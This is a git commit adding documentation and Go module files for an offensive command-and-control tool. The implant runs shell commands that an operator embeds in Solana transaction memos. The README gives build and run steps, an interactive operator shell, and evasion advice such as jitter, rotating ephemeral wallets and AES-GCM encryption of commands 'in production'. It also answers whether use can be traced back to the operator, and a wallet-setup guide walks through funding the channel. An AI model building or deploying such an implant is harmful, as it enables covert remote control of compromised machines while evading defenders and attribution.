Upload files to "c2_blockchain_memo"

This commit is contained in:
2026-06-08 05:52:45 +00:00
parent b7a63c67f5
commit 77dfbf1eef
4 changed files with 735 additions and 0 deletions
+293
View File
@@ -0,0 +1,293 @@
# 🕶️ C2 Blockchain Memo
**Command & Control via Solana Transaction Memo Fields**
No C2 server. No proxy. No domain. Just the blockchain.
Commands are embedded in Solana transaction memos using the [Memo Program](https://spl.solana.com/memo).
Every transaction is public on-chain — **undetectable as C2 traffic**. Blocking it would
require blocking all Solana RPC traffic, which would break the entire Solana ecosystem.
```
┌──────────┐ Solana Transaction ┌──────────┐
│ Operator ├──── (transfer + memo) ────→│ Implant │
│ (server) │ 1 lamport + command │ (client) │
└──────────┘ └────┬─────┘
Executes command
via os.exec()
```
---
## How It Works
### The Chain as C2 Channel
1. **Operator** sends a standard Solana transaction containing:
- A **1-lamport SOL transfer** to the implant's wallet (creates an on-chain link)
- A **Memo Program instruction** with the shell command as memo text
2. **Implant** polls the Solana RPC endpoint for `getSignaturesForAddress` on its own
wallet address, extracts the memo text from each incoming transaction, and executes
it as a shell command.
3. **No infrastructure.** The "server" is just building transactions. The "network" is
the Solana blockchain. There's no IP address, no domain, no certificate, no proxy to
block.
### Cost
- **Devnet/Testnet:** Free (faucet SOL, no real money)
- **Mainnet:** ~0.000005 SOL per command (~$0.001 at current prices)
---
## Build
```bash
# Clone or cd into the project
cd c2-suite/c2-blockchain-memo
# Build both binaries
go build -o bin/server ./cmd/server
go build -o bin/client ./cmd/client
# Binaries are in ./bin/
```
### Dependencies
- Go 1.24+
- `github.com/gagliardetto/solana-go` (Solana Go SDK)
Everything is handled by `go mod tidy`. No manual dependency management needed.
---
## Quick Start (Devnet, Free)
### 1. Set up wallets
See **[SETUP_WALLET.md](./SETUP_WALLET.md)** for detailed instructions. The TL;DR:
```bash
# Install Solana CLI
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
# Generate operator wallet
solana-keygen new --outfile operator.json
# Generate implant wallet
solana-keygen new --outfile implant.json
# Get free devnet SOL
solana config set --url devnet
solana airdrop 2
```
### 2. Start the implant
```bash
./bin/client --keypair implant.json --rpc devnet --interval 15
```
You'll see:
```
🔭 Watching address: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz
🔗 RPC endpoint: https://api.devnet.solana.com
⏱ Poll interval: 15s (with ±50% jitter)
━━━ C2 Blockchain Memo — Implant ─━━
Listening for commands... Press Ctrl+C to stop.
```
### 3. Send a command (in another terminal)
```bash
./bin/server --keypair operator.json --rpc devnet
```
Then in the interactive shell:
```
send <IMPLANT_ADDRESS> whoami
Command sent!
Signature: 5KtPn...xyz
Explorer: https://solscan.io/tx/5KtPn...xyz?cluster=devnet
Command: "whoami"
Implant: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz
```
The implant will receive the command within the next poll cycle:
```
New command from tx 5KtPn...xyz:
Command: whoami
Output:
root
```
---
## Usage Reference
### Server (Operator)
```
./bin/server [flags]
Flags:
--keypair string Path to operator keypair (Solana CLI JSON array or base58)
--rpc string RPC endpoint: mainnet-beta, devnet, testnet, or custom URL
(default: "devnet")
```
**Interactive commands:**
| Command | Description |
|---------|-------------|
| `send <ADDRESS> <cmd>` | Send a shell command to an implant |
| `balance` | Check operator wallet SOL balance |
| `quit` | Exit |
### Client (Implant)
```
./bin/client [flags]
Flags:
--address string Wallet address to watch (alternative to --keypair)
--keypair string Path to implant keypair (uses its public key as watch address)
--rpc string RPC endpoint (default: "devnet")
--interval int Polling interval in seconds (default: 15)
--limit int Max transactions to fetch per poll (default: 10)
```
**You must provide either `--address` or `--keypair`.**
The implant:
1. Polls the RPC endpoint for incoming transactions to its address
2. Extracts memo text from each transaction (using the `memo` field in
`getSignaturesForAddress` — built into Solana runtime)
3. Executes the memo text as a shell command
4. Tracks seen signatures to avoid re-execution
---
## Architecture Details
### How the Memo Field Works
Solana's Memo Program (`MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr`) allows any
transaction to include an arbitrary text message. The memo is:
- **Public** — anyone can read it on-chain
- **Permanent** — lives in the ledger forever
- **Cheap** — costs the same as any other instruction
- **Unblockable** — can't distinguish from legitimate Memo Program usage
### Transaction Structure
Each command transaction contains two instructions:
1. **System Program: Transfer** — sends 1 lamport from operator → implant
- Creates a detectable on-chain link to the implant's address
- The implant's `getSignaturesForAddress` picks this up
- 1 lamport is the smallest unit (0.000000001 SOL)
2. **Memo Program: Memo** — contains the command text
- The Solana runtime automatically includes the memo text in
`getSignaturesForAddress` response (`memo` field)
- No need to fetch the full transaction to read the command
### Why This is Undetectable as C2
- **No C2 infrastructure** — no domains, IPs, certificates, or hosting to discover
- **Blends with normal traffic** — millions of Solana transactions include memos daily
(DeFi notes, NFT metadata, DEX tags)
- **No pattern to detect** — polling an RPC endpoint looks like any other dApp or wallet
- **Cannot block without collateral damage** — blocking `api.mainnet-beta.solana.com`
would break the entire Solana ecosystem
### OpSec Notes
- **Memo is public plaintext.** Anyone can read commands on-chain via Solscan or any
block explorer. For sensitive commands, encrypt the memo payload (e.g., XOR with a
pre-shared key, or use a proper AEAD cipher). The implant would decrypt before executing.
- **Wallet fingerprinting.** An operator who always uses the same wallet creates a
detectable signature pattern. For operational security, use ephemeral operator wallets
funded from a central wallet.
- **Polling frequency.** Default 15s with jitter balances responsiveness and stealth.
Sub-second polling to a single RPC is detectable. Use multiple RPC endpoints for
higher-frequency polling.
- **Transaction volume.** If you send 10,000 commands from one wallet, that's a pattern.
Rotate operator wallets.
---
## Comparison: Solana vs Ethereum for Blockchain C2
| Feature | Solana (this project) | Ethereum |
|---------|----------------------|----------|
| Tx cost | ~$0.001 | ~$1$50 (gas) |
| Speed | ~400ms finality | ~12s block time |
| Memo built-in | Yes (Memo Program) | No (requires contract) |
| RPC rate limits | More permissive | Tighter |
| Faucet availability | Easy (devnet) | Easy (testnet) |
| Go SDK quality | Mature (solana-go) | Mature (go-ethereum) |
| Stealth | High (natural memo usage) | High (calldata) |
**Solana wins on cost and speed.** Ethereum contract storage costs are prohibitive
for a C2 channel. Solana transactions cost fractions of a cent.
---
## Encryption Example (AES-GCM)
For production use, encrypt commands before sending:
**Server-side (before sending):**
```go
// Pseudocode — use a proper key management scheme
plaintext := []byte(command)
ciphertext, _ := aesgcm.Seal(nil, nonce, plaintext, nil)
// Send base64(ciphertext + nonce) as the memo
```
**Client-side (after receiving):**
```go
ciphertext := base64.StdEncoding.DecodeString(memo)
plaintext, _ := aesgcm.Open(nil, ciphertext[:12], ciphertext[12:], nil)
executeCommand(string(plaintext))
```
The Solana chain is public. **Encrypt everything in production.**
---
## FAQ
**Q: Do I need crypto knowledge?**
A: No. Follow [SETUP_WALLET.md](./SETUP_WALLET.md). Devnet is free.
**Q: Can this be traced back to me?**
A: Your operator wallet on-chain activity is public. Use ephemeral wallets.
**Q: What if the RPC endpoint goes down?**
A: Use multiple RPC endpoints (QuickNode, Helius, public RPC pool). The implant
supports custom `--rpc` URLs.
**Q: Can I run this on mainnet with real SOL?**
A: Yes. Cost is ~$0.001 per command. But don't use it for illegal purposes.
**Q: How fast can commands be delivered?**
A: Solana confirms in ~400ms. Polling adds latency: default 15s with jitter. For faster
delivery, use --interval 2 (2s) with multiple RPC endpoints.
---
## DISCLAIMER
For authorized Security Testing or Educational Purposes only.
+264
View File
@@ -0,0 +1,264 @@
# SETUP_WALLET.md — Solana Wallet Setup for C2 Blockchain Memo
This guide walks you through EVERYTHING needed to get Solana wallets set up for the C2
blockchain memo system. **Zero crypto knowledge assumed.** No real money needed.
---
## Table of Contents
- [1. Install Solana CLI Tools](#1-install-solana-cli-tools)
- [2. Generate a Wallet (Keypair)](#2-generate-a-wallet-keypair)
- [3. Get Free Devnet SOL (Faucet)](#3-get-free-devnet-sol-faucet)
- [4. Check Your Balance](#4-check-your-balance)
- [5. Find Your Wallet Address](#5-find-your-wallet-address)
- [6. Generate a Wallet Without Solana CLI (Pure OpenSSL)](#6-generate-a-wallet-without-solana-cli-pure-openssl)
- [7. Wallet File Format Explained](#7-wallet-file-format-explained)
- [8. Security Notes](#8-security-notes)
---
## 1. Install Solana CLI Tools
The Solana CLI is needed for keypair generation and faucet access. It's one command:
```bash
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
```
This installs the `solana` command (maintained by Anza, the core Solana dev team).
**Verify installation:**
```bash
solana --version
```
Expected output: `solana-cli 2.x.x`
> **What about the old Solana Labs CLI?** The old `solana-cli` from Solana Labs is being
> replaced by the Anza distribution. Both work. The command above gets you the current
> standard one.
---
## 2. Generate a Wallet (Keypair)
A Solana wallet is just a **random 64-byte private key** + a **32-byte public key** derived
from it. The keypair file is what the server and client use to sign.
**Generate a keypair:**
```bash
solana-keygen new --outfile ~/.config/solota/operator.json
```
You'll be prompted for a passphrase. **You can just press Enter for no passphrase** (fine
for testing).
This creates a JSON file containing the raw bytes of your keypair as a JSON integer array:
```json
[12, 34, 56, 78, 91, ... 64 numbers total ...]
```
**Generate a second keypair for the implant (different wallet):**
```bash
solana-keygen new --outfile ~/.config/solota/implant.json
```
> **Protip:** Store both keypairs somewhere safe. The private key is the WHOLE file.
> Anyone with this file controls the wallet.
---
## 3. Get Free Devnet SOL (Faucet)
You need a tiny amount of SOL to pay transaction fees. On **devnet** (test network), it's
completely free.
### Method A: Solana CLI Airdrop (easiest)
```bash
# Switch to devnet
solana config set --url devnet
# Get 2 free SOL
solana airdrop 2
```
**If that fails** with "transaction unavailable" or similar (faucets rate-limit), try:
```bash
# Smaller amounts often work
solana airdrop 1
solana airdrop 1
solana airdrop 0.5
```
### Method B: Web Faucets
If the CLI faucet doesn't work, use a web faucet:
1. **Solana Devnet Faucet (official):**
- Open: <https://faucet.solana.com/>
- Select **Devnet**
- Paste your wallet address (see [§5](#5-find-your-wallet-address))
- Click "Confirm Airdrop"
2. **QuickNode Faucet (backup):**
- <https://faucet.quicknode.com/solana/devnet>
3. **Sol Faucet (backup):**
- <https://solfaucet.com/>
### How much SOL do you need?
- Each memo transaction costs ~**0.000005 SOL** (half a cent on mainnet, free on devnet)
- With 1 SOL you can send **200,000 commands**
- 2 SOL from a single airdrop is basically infinite for testing
### Devnet vs Mainnet Costs
| Network | Cost per memo tx | Source of SOL |
|---------|------------------|---------------|
| devnet | Free (faucet) | Free faucet |
| testnet | Free (faucet) | Free faucet |
| mainnet | ~0.000005 SOL (~$0.001) | Buy from exchange |
**For testing, use devnet. You don't need real money.**
---
## 4. Check Your Balance
```bash
solana balance --url devnet
```
Should show something like `2 SOL` after the airdrop.
---
## 5. Find Your Wallet Address
```bash
solana-keygen pubkey ~/.config/solota/operator.json
```
This prints the **base58 address** (starts with a number or letter, ~44 characters).
Example: `7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz`
You can also get it from the keypair file directly:
```bash
cat ~/.config/solota/operator.json | solana-keygen pubkey
```
**This address is PUBLIC.** It's safe to share — it's how people send you SOL and how
the C2 implant identifies which transactions to watch.
---
## 6. Generate a Wallet Without Solana CLI (Pure OpenSSL)
If you can't or won't install the Solana CLI, you can generate a wallet using just OpenSSL
and base58 encoding. This requires the base58 tool (`pip install base58` or use Python).
```bash
# 1. Generate 32 random bytes (the private key seed)
openssl rand -hex 32 > private-key.hex
# 2. Convert to raw bytes
xxd -r -p private-key.hex > private-key.bin
# 3. Create the Solana keypair JSON file (64 bytes: seed + derived pubkey)
# We need a Python one-liner for the Ed25519 key derivation:
python3 -c "
import json
from hashlib import sha512
# Read the seed (32 bytes)
with open('private-key.hex') as f:
seed = bytes.fromhex(f.read().strip())
# Ed25519 key expansion (simplified — in production use ed25519 lib)
# For the Solana CLI format, we need the full 64-byte keypair.
# The simplest approach: just install solana CLI for keygen.
# OR use Python's ed25519:
import nacl.bindings as nb
seed_bytes = seed
pk = nb.crypto_sign_seed_keypair(seed_bytes)[0]
keypair = list(seed_bytes + pk)
with open('operator.json', 'w') as f:
json.dump(keypair, f)
print('operator.json created')
"
```
> **Honest advice:** Just install the Solana CLI. It's one command (`curl ... | sh`),
> it handles key derivation correctly, and the keypair file format is exactly what this
> C2 system expects. The OpenSSL method is shown here for understanding, not because
> it's easier.
---
## 7. Wallet File Format Explained
The Solana CLI creates keypair files in this format:
```json
[157,75,198,234,182,43,173,167,208,19,22,127,239,230,14,99,44,135,102,226,237,142,39,156,72,86,169,196,139,161,244,15,33,157,174,179,215,156,10,3,126,196,247,70,16,106,99,210,212,203,227,170,11,111,209,62,39,154,230,143,147,50,77,174]
```
- **Bytes 031** (first 32): The **private key seed** (keep secret!)
- **Bytes 3263** (last 32): The **public key** (derived from the seed)
Both the `--keypair` flag in the server and the `--keypair` flag in the client accept
this JSON array format AND the base58-encoded private key format.
---
## 8. Security Notes
- **The keypair file IS the private key.** Protect it like a password.
- **For production C2:** Use a dedicated wallet with only enough SOL for a few hundred
transactions. Top it up periodically.
- **For devnet testing:** Never use a mainnet wallet. Devnet SOL is free and infinite.
- **The chain is public.** Everyone can see the memo text. Don't send credentials or
secrets as commands (or encrypt them first — see README for encryption notes).
- **The implant wallet address is public** by design — anyone can send it transactions.
The C2 relies on the fact that only the operator knows which address is an implant.
---
## Quick Start (TL;DR)
```bash
# 1. Install Solana CLI
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
# 2. Generate operator wallet
solana-keygen new --outfile ~/.config/solota/operator.json
# 3. Generate implant wallet
solana-keygen new --outfile ~/.config/solota/implant.json
# 4. Get free devnet SOL
solana config set --url devnet
solana airdrop 2
# 5. Note the addresses
echo "Operator: $(solana-keygen pubkey ~/.config/solota/operator.json)"
echo "Implant: $(solana-keygen pubkey ~/.config/solota/implant.json)"
# 6. Start the implant (watches its own address)
./bin/client --keypair ~/.config/solota/implant.json --rpc devnet
# 7. In another terminal, send a command
./bin/server --keypair ~/.config/solota/operator.json --rpc devnet
> send <IMPLANT_ADDRESS> whoami
```
+35
View File
@@ -0,0 +1,35 @@
module c2-blockchain-memo
go 1.26
require github.com/gagliardetto/solana-go v1.16.0
require (
filippo.io/edwards25519 v1.1.0 // indirect
github.com/benbjohnson/clock v1.3.5 // indirect
github.com/blendle/zapdriver v1.3.1 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/fatih/color v1.18.0 // indirect
github.com/gagliardetto/binary v0.8.0 // indirect
github.com/gagliardetto/treeout v0.1.4 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/klauspost/compress v1.18.0 // indirect
github.com/logrusorgru/aurora v2.0.3+incompatible // indirect
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mitchellh/go-testing-interface v1.14.1 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1 // indirect
github.com/mr-tron/base58 v1.2.0 // indirect
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e // indirect
go.mongodb.org/mongo-driver v1.17.3 // indirect
go.uber.org/multierr v1.11.0 // indirect
go.uber.org/ratelimit v0.3.1 // indirect
go.uber.org/zap v1.27.0 // indirect
golang.org/x/crypto v0.47.0 // indirect
golang.org/x/sys v0.40.0 // indirect
golang.org/x/term v0.39.0 // indirect
golang.org/x/time v0.11.0 // indirect
)
+143
View File
@@ -0,0 +1,143 @@
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
github.com/AlekSi/pointer v1.2.0 h1:glcy/gc4h8HnG2Z3ZECSzZ1IX1x2JxRVuDzaJwQE0+w=
github.com/AlekSi/pointer v1.2.0/go.mod h1:gZGfd3dpW4vEc/UlyfKKi1roIqcCgwOIvb0tSNSBle0=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o=
github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/blendle/zapdriver v1.3.1 h1:C3dydBOWYRiOk+B8X9IVZ5IOe+7cl+tGOexN4QqHfpE=
github.com/blendle/zapdriver v1.3.1/go.mod h1:mdXfREi6u5MArG4j9fewC+FGnXaBR+T4Ox4J2u4eHCc=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
github.com/gagliardetto/binary v0.8.0 h1:U9ahc45v9HW0d15LoN++vIXSJyqR/pWw8DDlhd7zvxg=
github.com/gagliardetto/binary v0.8.0/go.mod h1:2tfj51g5o9dnvsc+fL3Jxr22MuWzYXwx9wEoN0XQ7/c=
github.com/gagliardetto/gofuzz v1.2.2 h1:XL/8qDMzcgvR4+CyRQW9UGdwPRPMHVJfqQ/uMvSUuQw=
github.com/gagliardetto/gofuzz v1.2.2/go.mod h1:bkH/3hYLZrMLbfYWA0pWzXmi5TTRZnu4pMGZBkqMKvY=
github.com/gagliardetto/solana-go v1.16.0 h1:lRPn/NxVmxzXw+vQ3AxH33jQIvj8avx2CKVFsvUhRsY=
github.com/gagliardetto/solana-go v1.16.0/go.mod h1:2n7osXNoDeUhq1r1lOgCMVkl90yYUVrV9FHGINBWPHU=
github.com/gagliardetto/treeout v0.1.4 h1:ozeYerrLCmCubo1TcIjFiOWTTGteOOHND1twdFpgwaw=
github.com/gagliardetto/treeout v0.1.4/go.mod h1:loUefvXTrlRG5rYmJmExNryyBRh8f89VZhmMOyCyqok=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo=
github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU=
github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1 h1:mPMvm6X6tf4w8y7j9YIt6V9jfWhL6QlbEc7CCmeQlWk=
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1/go.mod h1:ye2e/VUEtE2BHE+G/QcKkcLQVAEJoYRFj5VUOQatCRE=
github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o=
github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
github.com/onsi/gomega v1.10.1 h1:o0+MgICZLuZ7xjH7Vx6zS/zcu93/BEp1VwkIW1mEXCE=
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/shopspring/decimal v1.3.1 h1:2Usl1nmF/WZucqkFZhnfFYxxxu8LG21F6nPQBE5gKV8=
github.com/shopspring/decimal v1.3.1/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
github.com/streamingfast/logging v0.0.0-20230608130331-f22c91403091/go.mod h1:VlduQ80JcGJSargkRU4Sg9Xo63wZD/l8A5NC/Uo1/uU=
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e h1:qGVGDR2/bXLyR498un1hvhDQPUJ/m14JBRTJz+c67Bc=
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e/go.mod h1:VlduQ80JcGJSargkRU4Sg9Xo63wZD/l8A5NC/Uo1/uU=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/test-go/testify v1.1.4 h1:Tf9lntrKUMHiXQ07qBScBTSA0dhYQlu83hswqelv1iE=
github.com/test-go/testify v1.1.4/go.mod h1:rH7cfJo/47vWGdi4GPj16x3/t1xGOj2YxzmNQzk2ghU=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
go.mongodb.org/mongo-driver v1.17.3 h1:TQyXhnsWfWtgAhMtOgtYHMTkZIfBTpMTsMnd9ZBeHxQ=
go.mongodb.org/mongo-driver v1.17.3/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ=
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=
go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
go.uber.org/ratelimit v0.3.1 h1:K4qVE+byfv/B3tC+4nYWP7v/6SimcO7HzHekoMNBma0=
go.uber.org/ratelimit v0.3.1/go.mod h1:6euWsTB6U/Nb3X++xEUXA8ciPJvr19Q/0h1+oDcJhRk=
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw=
go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8=
go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8=
golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
